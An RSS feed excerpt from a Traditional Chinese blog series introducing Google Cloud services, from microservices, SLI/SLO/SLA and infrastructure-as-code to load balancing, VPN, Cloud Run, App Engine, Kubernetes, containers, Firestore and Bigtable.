&lt;p&gt;在 DevOps 的環境中，我們也可以透過 Jenkins 等程式進行自動化的建置，Jenkins 也可以在 Google Cloud 的 Marketplace 直接的進行安裝，而管理的過程，我們也可以透過 Google Kubernetes Engine 進行管理。蒐集 Log 的部分，也可以透過 ELK (Elasticsearch、Logstash、Kibana) 進行有效率的資料蒐集與視覺化。&lt;/p&gt;</description></item><item><title>[Day26] Micro Services (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/11/day26-micro-services/</link><pubDate>Mon, 11 Oct 2021 19:08:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/11/day26-micro-services/</guid><description>&lt;p&gt;在前幾天的 App Engine 與 K8S 中，或許我已經大致的提過 Micro Services ，今天來試著更詳細的介紹 Micro Services 的概念。&lt;/p&gt;
&lt;p&gt;Micro Services 不限於任何的程式語言，無論 Python、Node.JS 或 Go 都有辦法實現，它最大的特色就是「模組化」，把一個大程式給切割成一塊一塊的模組，方便維護與管理，當面對一個非常龐大的系統時， Micro Services 也可以快速的定位發生的問題。&lt;/p&gt;
&lt;p&gt;與 Micro Services 相對的是 Monolithic application 單體式應用程式，也就是將所有的功能全部寫在一起，這種方式以連接角度而言，設計會比較單純與簡單，開發時程上也會比較快。但當整個系統日益增大，則維護上會較為困難。&lt;/p&gt;
&lt;p&gt;相較於單體式程式，微服務還有另外一個特色是可以快速的將任何一個模組進行擴展，假設我們有一個銷售網站，而微服務切分了物品的展示前端，與實際購買，處理訂單的後端。在雙 11 等活動時，假設我們已知大多數的客戶已經將需購買的商品加至購物車，這種情形下，我們就可以單純的透過 K8S 的 Scaling 相關設定，設定擴展銷售後端的模組，而不需要連同前端一起進行擴展，減少租用機器的費用。&lt;/p&gt;
&lt;p&gt;微服務最大的特點就是每個服務應該獨立自主，因此服務間最好需要有獨立的資料庫，服務間唯一的溝通方式是透過 API (最常見的是透過 RESTful) 進行交互。&lt;/p&gt;
&lt;h2 id="12-factor-app-design"&gt;12 Factor App Design&lt;/h2&gt;
&lt;p&gt;基於 Micro Services 設計的 SaaS 最佳實踐方式，目前最有名的是 The 12-Factor App ，關於相關的介紹可以參考去年 &lt;a href="https://ithelp.ithome.com.tw/articles/10253303"&gt;Miles 大大的鐵人賽文章&lt;/a&gt;。簡單來說，我們的開發過程可以遵守 12 Factor 的方式，有效的開發方便移植、擴展的程式。而這 12 Factor 依序是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Codebase- 使用版本管理系統，例如 Git。&lt;/li&gt;
&lt;li&gt;Dependencies- 使用套件管理系統，例如 pip、npm。&lt;/li&gt;
&lt;li&gt;Config- 不要將 API Key 等機密資料放至於程式碼字串中。&lt;/li&gt;
&lt;li&gt;Backing services- 資料庫，快取等資源可藉由 URL API 訪問。&lt;/li&gt;
&lt;li&gt;Build, release, run- 嚴格分離程式碼的 Build 與 Run 階段。&lt;/li&gt;
&lt;li&gt;Processes- 一個程式可分為一個或多個 Process，每個 Process 應為 stateless。&lt;/li&gt;
&lt;li&gt;Port binding- 透過 Port binding 方式讓程式可以聯外。&lt;/li&gt;
&lt;li&gt;Concurrency- 透過 Process Model 進行水平擴展。&lt;/li&gt;
&lt;li&gt;Disposability- 快速啟動，追求穩定性，並可以優雅的關機。&lt;/li&gt;
&lt;li&gt;Dev/prod parity- 保持開發與部屬的環境一致。&lt;/li&gt;
&lt;li&gt;Logs- 將 Log 透過 event Stream 輸出。&lt;/li&gt;
&lt;li&gt;Admin processes- 將維護與管理視為一次性的任務。&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>[Day25] SLI , SLO , SLA (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/10/day25-sli-slo-sla/</link><pubDate>Sun, 10 Oct 2021 19:08:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/10/day25-sli-slo-sla/</guid><description>&lt;p&gt;今天來介紹雲端的管理，常常出現的三個名詞，在先前的文章中，我應該也有使用過了一部分。這三個名詞長的很像，而背後的意義卻有滿多的差異，都算是滿重要，滿常用的的名詞哦！這些算是服務級別的術語，描述服務常見需要衡量的指標。&lt;/p&gt;
&lt;h2 id="service-level-indicators--sli"&gt;Service Level Indicators , SLI&lt;/h2&gt;
&lt;p&gt;SLI 被稱為服務級別指標，我們可以理解成它是我們需要衡量一個服務的哪些指標。例如一個服務的網路吞吐量，延遲時間與錯誤率等。在 SLI 中，我們只需要訂出，我們需要衡量哪些東西就好，而剩下的則是交由 SLO 進行規範。&lt;/p&gt;
&lt;h2 id="service-level-objectives--slo"&gt;Service Level Objectives , SLO&lt;/h2&gt;
&lt;p&gt;SLO 被稱為服務級別目標，通常是提供服務者需要明確定義給客戶的量化指標。這邊我們就可以定義 SLI 必須要符合的規定 Range，例如我們要求一個網頁在台灣地區的回應時間必須小於 10 毫秒，等明確的定義。&lt;/p&gt;
&lt;h2 id="service-level-agreements--sla"&gt;Service Level Agreements , SLA&lt;/h2&gt;
&lt;p&gt;SLA 則是服務的級別協定，通常是服務商與客戶之間正式需要簽的合約，保障系統的穩定性。而服務商如果沒有達到指定的 SLA 則可以被客戶要求賠償，而 SLA 會涵蓋的內容相對而言最具有限制性。&lt;/p&gt;
&lt;p&gt;我們以 &lt;a href="https://cloud.google.com/storage/sla"&gt;Google Cloud Storage SLA&lt;/a&gt; 網頁上提到的，來觀察它的 SLI 、 SLO 以及 SLA 分別是什麼。例如 Standard storage 的 Monthly Uptime Percentage &amp;gt;= 99.95，這就算是一個 SLA 的規定。而它們的也有在下文題到，如果沒有達到指定的 SLO 會給予賠償等。&lt;/p&gt;</description></item><item><title>[Day24] Marketplace (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/09/day24-marketplace/</link><pubDate>Sat, 09 Oct 2021 19:07:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/09/day24-marketplace/</guid><description>&lt;p&gt;對於初學者來說，自動化的部屬真的是一件非常累人的事情，從雲端架構開始就有一大堆東西要學，再加上昨天提到的 IaC，如果真的要講應該也可以寫成 30 天分的教材QQ。如果我們只是一個非常非常淺的初學者，有沒有什麼方法可以快速的自動化部屬服務到 GCP 中呢？當然有的，這就是 Marketplace。&lt;/p&gt;
&lt;p&gt;我們可以很簡單的把 Marketplace 想像成 App Store 或 Play 商店，我們想要的服務，有很大的機會都不需要自己重造輪子。舉例來說，我們假設需要架設一個 WordPress CMS 的 Blog，如果透過 Compute Engine，可能會需要先設定系統，安裝 PHP 、 MySQL，再來安裝 WordPress。而如果希望資料庫分離的話，雖然可以透過 Cloud SQL 來處理 MySQL 的部分，不過依然需要處理很多底層的東西QQ。&lt;/p&gt;
&lt;p&gt;在 Marketplace 之中，我們可以一鍵的部屬別人設定好的安裝檔，大多數都是透過 Deploy Manager 建置的完整腳本，如上述的 Wordpress，我們可以快速的依照它人設定好的腳本來進行部屬，常見的 MongoDB、ELK 等資料庫也都可以快速的在 Marketplace 中進行部屬。&lt;/p&gt;
&lt;p&gt;Marketplace 中，也有包含了 SaaS 等相關服務的方案可以選擇，部分的方案是需要付費的，使用與購買前也需要特別注意哦！&lt;/p&gt;</description></item><item><title>[Day23] Infrastructure as code (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/08/day23-infrastructure-as-code/</link><pubDate>Fri, 08 Oct 2021 19:07:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/08/day23-infrastructure-as-code/</guid><description>&lt;p&gt;昨天介紹的 Deployment Manager 可以透過 GUI 與 Command Line 的方式管理資源，算是 GCP 中自己專有的功能。而 Google 也支援了 IaC 的常見軟體，例如 Terraform、Chef、Puppet、Ansible、Packer 等。&lt;/p&gt;
&lt;p&gt;IaC (Infrastructure as code)，基礎架構即代碼，指的是透過程式碼來對各種基礎設備進行管理與配置，而上述的這些軟體也不僅適用於 GCP 中，可以基本上將相同的代碼做些微的修改，套用到其它的雲端服務商，例如 AWS 與 Azure 等，在不同服務商間轉換設備相對而言會非常的方便。&lt;/p&gt;
&lt;p&gt;透過 IaC，可以減少繁複的操作一模一樣的事情，也可以批次化大量的管理設備，對於 DevOps 等環節而言會方便非常多。&lt;/p&gt;
&lt;p&gt;以 Terraform 為例，通常我們會使用 YAML 檔案設定各種部屬的基礎設備資訊。但例如 VPC 與防火牆 Rule，這些 IP 位置則比較像是一個變數，這種時候我們可以透過 Jinja 的 Template Engine 進行設定。&lt;/p&gt;</description></item><item><title>[Day22] Deployment Manager (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/07/day22-deployment-manager/</link><pubDate>Thu, 07 Oct 2021 19:06:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/07/day22-deployment-manager/</guid><description>&lt;p&gt;從今天開始的內容，會相對比較簡單一點點，我們來介紹一些自動化的部屬方式。假設說，我們設定好了一系列的 Instance 、 VPC 架構 、 防火牆規則等相關的服務，未來一個方案需要重新利用時，就可以透過 Deploy Manager 與明後天會介紹到的 IaC 等方式進行快速的部屬。&lt;/p&gt;
&lt;p&gt;我們部屬 Google Cloud 的服務，通常會使用 Cloud Console、Cloud Shell 或 SDK，在還沒有學習到 Deployment Manager 前，如果我有自動化需要部屬大量的設備，通常我會直接把需要部屬的內容寫成 Bash 的 Shell Script ，並透過 Cloud Shell 執行，這種方式很暴力，但很有用 XDD。&lt;/p&gt;
&lt;p&gt;Deployment Manager 屬於 Infrastructure Automation Tool，可以透過 GUI 的介面，在 Cloud Console 對於不同的資源在部屬前進行規劃，也可以將各種資源們建立成模板，方便重複使用。Deploy Manager 背後使用了各種 GCP 底層的 API 進行設計，基本上可以支援所有 GCP 的服務部屬。&lt;/p&gt;</description></item><item><title>[Day21] Load Balancer (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/06/day21-load-balancer/</link><pubDate>Wed, 06 Oct 2021 19:06:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/06/day21-load-balancer/</guid><description>&lt;p&gt;Load Balancer (負載平衡器) 與 Auto Scaling 都算是雲端設備中非常重要的一部分，負載平衡器可以將流量分散到多台不同的機器，而這些服務對外只需要一個 IP 即可。透過 Load Balancer ， 我們可以增加資料的可用性與穩定性，並且可以透過 Auto Scaling 的方式自動增減在 Load Balancer 後的伺服器數量。&lt;/p&gt;
&lt;p&gt;在 GCP 中， Load Balancer 被分為兩種，Global 與 Regional。Global 的 Load Balancer 有 HTTP(S)、SSL Proxy 與 TCP Proxy，在全球的使用者可以使用相同的 IP ，存取到就近國家的主機，減少傳輸的延遲；Regional 的 Load Balancer 則有 Internal 與 Network Load Balancer，Internal Load Balancer 基於 Google 開發的 SDN &lt;a href="https://www.usenix.org/system/files/conference/nsdi18/nsdi18-dalton.pdf"&gt;Andromeda&lt;/a&gt;進行實作，而 Network Load Balancer 則使用 &lt;a href="https://static.googleusercontent.com/media/research.google.com/zh-TW//pubs/archive/44824.pdf"&gt;Maglev&lt;/a&gt; 的分散式系統進行實作。&lt;/p&gt;
&lt;h2 id="instance-template--group"&gt;Instance Template / Group&lt;/h2&gt;
&lt;p&gt;在開始講 Load Balancer 之前，我們需要先了解 Instances Group，在假設我們 Load Balancer 背後每一台機器都是一樣的前提下，我們會需要建立很多台內容完全一樣的 Compute Engine VM Instances，這種狀況下，我們就可以使用 Compute Engine 中的 Instance Template，作為 Load Balancer 未來開啟的模板。Instance Template 就像是一個 VM 的模板，他的建立方式與建立 Instances 將近完全一樣，設定 VM 的 Image、Startup Script 等。&lt;/p&gt;</description></item><item><title>[Day20] Interconnect (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/05/day20-interconnect/</link><pubDate>Tue, 05 Oct 2021 19:05:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/05/day20-interconnect/</guid><description>&lt;p&gt;今天來與各位介紹雲端的 互連網路(Interconnect) 與 對等互聯(Peering) 相關服務。Interconnect 與 Peering 最大的差別在於，Peering 屬於 OSI 第 3 層的連接，而 Interconnect 屬於 OSI 第 2 層的連接。而他們又再分為了 Direct Peering、Carrier Peering、Dedicated Interconnect、Partner Interconnect。&lt;/p&gt;
&lt;h2 id="對等互連-peering"&gt;對等互連 Peering&lt;/h2&gt;
&lt;p&gt;直接對等互連 (Direct Peering) 可以在自己的連結上透過 BGP 來切換與 Google 的連線，可以讓自己的企業區域網路直接的連接上 Google 的邊際網路。&lt;/p&gt;
&lt;p&gt;電信業者互連 (Carrier Peering)，透過電信業者作為中介，進行連接。&lt;/p&gt;
&lt;h2 id="互連網路"&gt;互連網路&lt;/h2&gt;
&lt;p&gt;專屬互聯 (Dedicated Interconnect)，提供了直接連線到 Google 的專用網路。可以選擇 10 GBps 或 100 GBps 的專線連接上 Google。也可以使用支援 RFC1918 的 IP Address 進行連線。&lt;/p&gt;
&lt;p&gt;合作夥伴互聯 (Partner Interconnect)，如同電信業者互連，可以藉由電信業者、Google的合作夥伴進行連線。&lt;/p&gt;
&lt;h2 id="比較"&gt;比較&lt;/h2&gt;
&lt;p&gt;關於這些連接方式的詳細比較，可以參考下圖：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/TLpykPL.png"&gt;&lt;/p&gt;
&lt;p&gt;(圖片來源：Connecting to Google Cloud: your networking options explained &lt;a href="https://cloud.google.com/blog/products/networking/google-cloud-network-connectivity-options-explained"&gt;https://cloud.google.com/blog/products/networking/google-cloud-network-connectivity-options-explained&lt;/a&gt;)&lt;/p&gt;</description></item><item><title>[Day19] Cloud VPN (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/04/day19-cloud-vpn/</link><pubDate>Mon, 04 Oct 2021 19:04:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/04/day19-cloud-vpn/</guid><description>&lt;h2 id="cloud-vpn"&gt;Cloud VPN&lt;/h2&gt;
&lt;p&gt;Cloud VPN 可以將自己本地的網路直接的連接到 GCP 的 VPC 網路之中，透過 IPSec 協議進行加密，可以保護資料在網路上傳輸的安全性。&lt;/p&gt;
&lt;p&gt;Cloud VPN 屬於由 Google 託管的服務，提供了 99.9% 的 SLA，並支援 Side to Site 的 VPN、靜態路由、動態路由、IKEv1 與 IKEv2 的密碼等功能。&lt;/p&gt;
&lt;p&gt;在建立 Cloud VPN 前，我們需要建立本地端的 VPN Gateway 、 雲端的 VPN Gateway 以及兩個 VPN Tunnel， Cloud VPN 的 Gateway 屬於一個 Regional 的資源，因此需要使用一個 external IP 。&lt;/p&gt;
&lt;p&gt;本地端的 VPN Gateway 可以是硬體的主機，也可以是軟體的 VPN 服務，安裝在本地或其他雲端伺服器中。&lt;/p&gt;
&lt;p&gt;目前 Cloud VPN 的最大傳輸單位 (MTU) 為 1460 Bytes。&lt;/p&gt;
&lt;h2 id="cloud-router"&gt;Cloud Router&lt;/h2&gt;
&lt;p&gt;Cloud VPN 支援靜態以及動態路由，如果需要使用動態路由，則需要開啟 Cloud Routers 的功能。 Cloud Routers 支援透過 BGP (Border Gateway Protocol) 管理 Cloud VPN Tunnel 的路由。&lt;/p&gt;</description></item><item><title>[Day18] Operations Suite (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/03/day18-operations-suite/</link><pubDate>Sun, 03 Oct 2021 19:04:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/03/day18-operations-suite/</guid><description>&lt;p&gt;今天我們來介紹雲端的監控， Cloud Operations Suite 。這個服務以前被稱做 Stackdriver 。雲端的監控總共可以分為，Monitoring、Logging、Error Reporting、Tracing 以及 Debugging。&lt;/p&gt;
&lt;p&gt;這些監控相關的程式 (Agent) 支援跨平台，除了 GCP 之外，也可以&lt;a href="https://cloud.google.com/monitoring/agent/ops-agent/install-index"&gt;安裝&lt;/a&gt;在 AWS 或是自己的主機上面，這些服務皆有免費額度可以使用。&lt;/p&gt;
&lt;h2 id="monitoring"&gt;Monitoring&lt;/h2&gt;
&lt;p&gt;伺服器的監控是一件非常重要的事情，這是 SRE (Site Reliability Engineering) 最重要的工作。&lt;/p&gt;
&lt;p&gt;Monitoring 支援了各種的指標，包含平台、系統、應用程式，可以將圖表、警報顯示於儀表板 (Dashboards) 中。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8Burgrc-1024x360.png"&gt;&lt;/p&gt;
&lt;h2 id="logging"&gt;Logging&lt;/h2&gt;
&lt;p&gt;Cloud Logging 提供分析 GCP 以及 AWS 上的各種事件，Logging 包含了 紀錄的儲存、使用者介面 (Log Viewer) 以及 API，可以透過程式化的方式管理 Log。&lt;/p&gt;
&lt;p&gt;與 Monitoring 一樣，我們也可以透過&lt;a href="https://dl.google.com/cloudagents/install-logging-agent.sh"&gt;腳本&lt;/a&gt;將 Agent 安裝在自己的伺服器中，監控伺服器的網路流量、IP 來源等資訊。如果我們想要 Query 大量的 Logging 資料，也可以使用 BigQuery 等程式來達成。&lt;/p&gt;
&lt;h2 id="error-reporting"&gt;Error Reporting&lt;/h2&gt;
&lt;p&gt;Error Reporting 可以統計、分析在雲端服務中的各種錯誤，提供了錯誤的通知、儀表板等功能。支援 App Engine 、 Apps Script 、 Compute Engine 、 Cloud Functions 、 Cloud Run 、 GKE 、 Amazon EC2 等平台。當我們使用以上的平台，部屬過程與運行過程發生任何的錯誤，都可以在 Error Reporting 中找到相應的 Log。&lt;/p&gt;</description></item><item><title>[Day17] Cloud Run (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/02/day17-cloud-run/</link><pubDate>Sat, 02 Oct 2021 19:03:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/02/day17-cloud-run/</guid><description>&lt;p&gt;Cloud Run 是這次要介紹的最後一種部屬服務方式。它是一種基於 Container 的 Serverless 服務。比起 Google Kubernetes Engine，使用者不需要自己的管理 K8s 的服務。&lt;/p&gt;
&lt;p&gt;Cloud Run 背後使用了開源的 Knative 服務，使用者可以直接的使用 Cloud Run 管理自己的 Container。除此之外，它最大的特色是，使用者也可以將 Cloud Run 的服務，搬回自家的 Kubernetes Engine 上進行執行，連接上自己的 VPC。&lt;/p&gt;
&lt;p&gt;在使用 Cloud Run 之前，使用者必須先將自己的 Container 上傳至 Cloud Container Registry 中。&lt;/p&gt;
&lt;p&gt;Cloud Run 與 Kubernetes Engine 都可以結合一整套的 Google 服務的生態系，達到 DevOps 的功能。舉例來說，我們最終的目標是要部屬一個由 Python 的服務，將程式寫完後，我們可以將程式推送到 Cloud Source Repositories 中，並串接 Cloud Build 的 Trigger，將 Docker 給 Build 起來後，放置於 Container Registry 中，再提供 Cloud Run 進行執行。&lt;/p&gt;
&lt;h2 id="cloud-application-deployment-比較"&gt;Cloud Application Deployment 比較&lt;/h2&gt;
&lt;p&gt;這幾天，我們總共介紹了 5 種不同，可以部屬自己程式的服務，分別是 Compute Engine、Kubernetes Engine 、 Cloud Run 、 Cloud Functions、 App Engine 。&lt;/p&gt;</description></item><item><title>[Day16] Functions (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/10/01/day16-functions/</link><pubDate>Fri, 01 Oct 2021 19:01:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/10/01/day16-functions/</guid><description>&lt;p&gt;Cloud Function 是一款 Serverless 的服務，使用者不需要管理伺服器。Google 官方說，它是一種 FaaS (Function as a Services，函式即服務)，它可以透過透過 HTTP 的 API 來基於事件做出相對應的動作。在 AWS 上，最相似的功能是 Lambda。&lt;/p&gt;
&lt;p&gt;目前 Cloud Functions 是透過 Node.js 的 JavaScript 進行編寫，並運行在 GCP 中。&lt;/p&gt;
&lt;p&gt;Cloud Functions 最主要可以區分成兩個重點 Event (事件) 與 Trigger (觸發)，Event 可以是 HTTP 的 Webhook，Cloud Storage、Cloud Pub/Sub 、 Cloud FireStore 等方式，我們可以收取、訂閱指定的 Event，並設定當 Event 發生後，需要做的事情 (Trigger) 是什麼。&lt;/p&gt;
&lt;p&gt;舉例來說，我們如果希望透過 Cloud Storage 建立一個線上的相簿，而相簿通常除了完整尺寸的原圖之外，為了減緩頻寬、加快載入速度，通常會採用縮圖預覽的格式。我們就可以透過 Cloud Functions 來建立一個 Event ，設計為 「當 Cloud Storage 上傳了新的圖片」，則觸發 Trigger 「透過 Function 自動產出一張壓縮尺寸後的縮圖，存放進 Cloud Storage 中」。&lt;/p&gt;</description></item><item><title>[Day15] App Engine (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/09/30/day15-app-engine/</link><pubDate>Thu, 30 Sep 2021 19:01:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/30/day15-app-engine/</guid><description>&lt;p&gt;今天要來介紹 Google Cloud 中的 App Engine，App Engine 是一款 PaaS 的服務，可以超簡單的進行部屬與維護，使用者也可以專注於開發程式，而不需要煩惱任何關於底層架構的問題。 PaaS 適合用於可擴展的網路應用程式、行動服務的後端等，例如 Chatbot 、輕量化的 API 等服務都很適合可以部屬在 App Engine 上。&lt;/p&gt;
&lt;p&gt;App Engine 提供了許多內建的 API，例如 NoSQL 資料存儲、記憶體快取、負載平衡、應用程式 Log 紀錄、身分驗證 API 等。藉由 Security Scanner 的功能， App Engine 可以自動化的掃描與偵測程式的漏洞，提醒開發者進行修補。&lt;/p&gt;
&lt;p&gt;App Engine 會透過使用者的流量，自動化的擴展程式後端的伺服器，使用者只需要將程式碼上傳至 App Engine 的管理後臺即可，剩下的問題全部都由 Google Cloud 進行處理。目前，常見的開發環境例如 Eclipse、IntelliJ、Maven、Git、Jenkins、PyCharm 等程式都支援部屬 App Engine 的服務。&lt;/p&gt;
&lt;p&gt;App Engine 目前有兩種環境，分別為 Standard 與 Flexible。&lt;/p&gt;
&lt;h2 id="standard-environment"&gt;Standard Environment&lt;/h2&gt;
&lt;p&gt;標準的環境可以簡單的部屬使用者的 APP，支援 Autoscale 等功能，相較於 Flexible 便宜不少。它有每天的免費額度可以使用。在標準的環境中，有提供幾個常見的 runtime 供大家使用，包含了 Java、Python、Go 與 PHP。&lt;/p&gt;
&lt;p&gt;在使用 App Engine 時，必須符合一定的 Sandbox 規範，例如不可將檔案寫到本地的硬碟中，需要透過資料庫的形式儲存資料；每一個 Requests 最長的 Timeout 為 60 秒；對於安裝第三方的程式、Library 也有限制。因此需要基於 App Engine 的 SDK 進行開發。&lt;/p&gt;</description></item><item><title>[Day14] Kubernetes (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/09/29/day14-kubernetes/</link><pubDate>Wed, 29 Sep 2021 19:00:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/29/day14-kubernetes/</guid><description>&lt;p&gt;昨天簡介完了 Docker 的容器相關內容，今天我們要來介紹的是 Kubernetes (K8S)，其實 K8S 可以介紹的內容真的非常非常非常多，相信隔壁棚 DevOps 也有許多文章，光是 K8S 就可以介紹完整的 30 天。&lt;/p&gt;
&lt;p&gt;Kubernetes，念做(哭ㄅㄋㄟ體死)，它在希臘語中，代表的是舵手，駕駛員的意思；做為 Docker 的管理工具，感覺也有一種管理的味道存在(?)。 Kubernets 是由 Joe Beda、Brendan Burns 和 Craig McLuckie 共同創立，而目前主要的維護是由 Google 的工程師負責。而 Kubernets 又難念，又難寫，連外國人都這麼認為，所以就簡稱為 K8s，8是因為 &lt;code&gt;ubernete&lt;/code&gt; 剛好有 8 個字。&lt;/p&gt;
&lt;h2 id="kubernetes"&gt;Kubernetes&lt;/h2&gt;
&lt;p&gt;Kubernetes 可以是為一個高層次的 Docker 抽象化管理器，在最高層級中，Kubernetes 可以透過一系列的 API 對於 Cluster 中的 Node 、 Container 進行管理。&lt;/p&gt;
&lt;p&gt;在主從式架構中，我們可以將一個 Cluster 中的內容歸類為兩種元件，Master 與 Node， Master 負責進行控制與管理 Nodes；而 Nodes 則負責執行 Container 的內容。在 Google Cloud 中，每一個 Node 代表了一台 Compute Engine 的 Instances。&lt;/p&gt;
&lt;h2 id="gke"&gt;GKE&lt;/h2&gt;
&lt;p&gt;Google Kubernetes Engine 簡稱 GKE，是由 Google 管理的的 K8s 引擎，支援 Google Cloud 上各種不同規格的 Compute Engine instances。&lt;/p&gt;</description></item><item><title>[Day13] Containers (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/09/28/day13-containers/</link><pubDate>Tue, 28 Sep 2021 19:00:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/28/day13-containers/</guid><description>&lt;p&gt;我們都知道，Compute Engine 屬於 IaaS ， 而 App Engine 等服務屬於 PaaS，在 PaaS 底下，使用者大多不需要處理系統底層的問題。&lt;/p&gt;
&lt;p&gt;但有些時候，我們會希望可以同時擁有 IaaS 與 PaaS 的優點，可以設定部分底層的資源，又希望可以透過雲端平台幫我們自動化的管理，這個時候，就可以使用 Kubernetes (K8S) 的服務，關於 K8S 相關的內容預計將於明天介紹，今天會介紹 K8S 底層的東東： Container。&lt;/p&gt;
&lt;p&gt;虛擬化容器與 VM (虛擬機) 非常類似，但是原理上有所差異。通常， VM 會模擬整個電腦硬體、CPU，包含指令集等所有的內容，因此 VM 最被大家詬病的問題就是，需要浪費非常多的系統資源。在 CPU 層面，需要模擬整個電腦硬體，而在儲存層面，也需要安裝整套的作業系統。&lt;/p&gt;
&lt;p&gt;容器的虛擬化則是將作業系統層進行虛擬化，與當前在運行的作業系統共用資源，省去了虛擬化硬體的部分，可以達到非常的輕量化。我們可以將自己的服務打包在容器中，未來在搬移時，僅需要將容器移植到其他台電腦，即可快速的部屬各種不同的服務。&lt;/p&gt;
&lt;h2 id="docker"&gt;Docker&lt;/h2&gt;
&lt;p&gt;雖然說，Container 的技術不僅只於 Docker，但目前來說，Docker 算是最知名，最通用的一款 Container 技術。&lt;/p&gt;
&lt;p&gt;以 Docker 為例，如果我們需要建立一個 Docker 的容器，需要一個 Dockerfile ，定義我們容器中各種參數，例如需要繼承哪一套的 image，並且需要在自己的容器中執行哪些的參數；掛載的檔案；網路連線等。&lt;/p&gt;
&lt;p&gt;每一個容器中，可以安裝多個程式，例如 Apache 、 MySQL 、 Python 等，不過根據 Docker 官方的建議，最好每一個容器僅安裝一套的服務，可以稱為 (Micorservices) 微服務。&lt;/p&gt;
&lt;p&gt;我們可以在地端，自己的電腦中建立好一套完整的服務，並將 Docker 的各種服務部屬到 Compute Engine 的 Instances 上。&lt;/p&gt;</description></item><item><title>[Day12] Firestore (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/09/27/day12-firestore/</link><pubDate>Mon, 27 Sep 2021 18:59:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/27/day12-firestore/</guid><description>&lt;p&gt;前幾天總共介紹了4種不同的儲存方式，今天要來介紹最後一種： Cloud FireStore。 Firestore 跟 Bigtable 一樣，是一種非關聯式的 NoSQL 資料庫。相較於 Bigtable ， 它適合儲存相對較小的資料，且價格便宜非常多，也有每天的免費扣打可以使用。&lt;/p&gt;
&lt;p&gt;Firestore 是一種 Serverless 的服務，可以簡化儲存、查詢跟各種同步相關的使用需求，主要提供給行動裝置、網頁以及物聯網裝置使用，它也無縫的整合了 Firebase 的驗證機制。&lt;/p&gt;
&lt;p&gt;Firestore 支援資料庫的 ACID，保障資料的可靠性。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Atomicity 原子姓一個事務的所有操作，不可分割，不可約簡。&lt;/li&gt;
&lt;li&gt;如果過程中發生錯誤，必須還原 (Rollback) 回事務開始前的狀況Consistency 一致性- 在事務的開始前與結束後，確保完整性沒有被破壞。Isolation 事務隔離- 允許同時發起多個事務進行讀寫與修改，藉由隔離可以防止事務交叉執行導致資料的不一致。Durability 持久性- 事務結束後，對於資料的修改就是永久的，故障也不會丟失。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Firestore 會自動的進行 Multi-region 的複製，保障資料的完整性，由於 Server 是完全由 Google 管理，因此對於複雜的 NoSQL Query，也不會降低效能。&lt;/p&gt;
&lt;p&gt;目前的 Cloud Firestore 有兩種模式，分別是 Datastore Mode 與 Native Mode。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Datastore Mode向下相容於 Datastore 的 ApplicationNative mode- 更強健的 Storage layer&lt;/li&gt;
&lt;li&gt;基於 Collection 以及 document 的 data model&lt;/li&gt;
&lt;li&gt;支援 Mobile 以及 Web 的客戶端函式庫&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="storage-總結"&gt;Storage 總結&lt;/h2&gt;
&lt;p&gt;這幾天總共介紹了 Cloud Storage 、 Cloud SQL 、 Cloud Spanner 、 Cloud Big Table 、 Cloud Firestore 等不同的資料儲存方式，那我們要怎麼樣選擇最適合自己的儲存方案呢？&lt;/p&gt;</description></item><item><title>[Day11] Big Table (2021 鐵人賽 – Cloud)</title><link>http://blog.stevenyu.tw/2021/09/26/day11-big-table/</link><pubDate>Sun, 26 Sep 2021 18:58:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/09/26/day11-big-table/</guid><description>&lt;p&gt;&lt;del&gt;雲端大桌子&lt;/del&gt;，是一種 NoSQL 的資料庫，可以支援 TB 等級的應用，且支援 HBase 的 API，可使用於大數據、 Hadoop 等環境之中。&lt;/p&gt;
&lt;h2 id="nosql"&gt;NoSQL&lt;/h2&gt;
&lt;p&gt;講到 NoSQL 就要回來重新提一下什麼是 SQL ， SQL 就像一張&lt;del&gt;桌子&lt;/del&gt;表格，我們每次的新增都會依照表格的固定 Column 來新增 Row，每一條的 Row 都要依照著 Column (Table schema )的欄位來填寫。&lt;/p&gt;
